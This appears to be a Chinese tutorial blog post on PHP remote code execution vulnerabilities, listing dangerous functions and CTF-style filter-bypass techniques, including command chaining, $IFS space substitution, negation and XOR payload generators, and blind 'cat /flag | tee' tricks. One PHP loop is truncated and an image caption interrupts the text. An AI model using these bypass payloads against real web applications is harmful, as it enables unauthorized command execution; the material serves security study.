rce漏洞(远程代码执行漏洞)

一概述:

在Web应用开发中为了灵活性,简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞·

二、常见的RCE漏洞

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令结果;

exec()rce漏洞(远程代码执行漏洞)_第1张图片

2.代码执行函数

eval():将字符串作为php代码执行

assert():将字符串作为php代码执行

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

二、RCE绕过

管道符:

;  A;B  无论真假,A与B都执行

& A&B 无论真假,A与B都执行

&& A&&B A为真时才执行B,否则只执行A

| A|B 显示B的执行结果

|| A||B A为假时才执行B,否则只执行A

空格过滤

<    <>  %20(即space)  %09(即tab)  $IFS$9  ${IFS} $IFS  {cat/flag}

反斜杠绕过

c/at  /flag

l/s /

取反绕过

//取反传参
 
$a = "system";
$b = "cat /flag";
 
$c = urlencode(~$a);
$d = urlencode(~$b);
 
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>

异或绕过

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
 
answer = input('输入异或构造的字符串:')
 
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
 
print(f'"{tmp1}"^"{tmp2}"')

 //异或php脚本
 
$a='phpinfo';
for ($i = 0;$i     echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j     echo '%ff';
?>
 
//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff

 无回显RCE

ls / | tee 1.txt   ls /:列出根目录下的文件和目录。|:将ls /的输出传递给tee命令。tee 1.txt:
将输出同时写入到文件1.txt中,并且在终端显示
cat /flag | tee 2.txt
eval(print'c\at /flag';)

你可能感兴趣的:(android)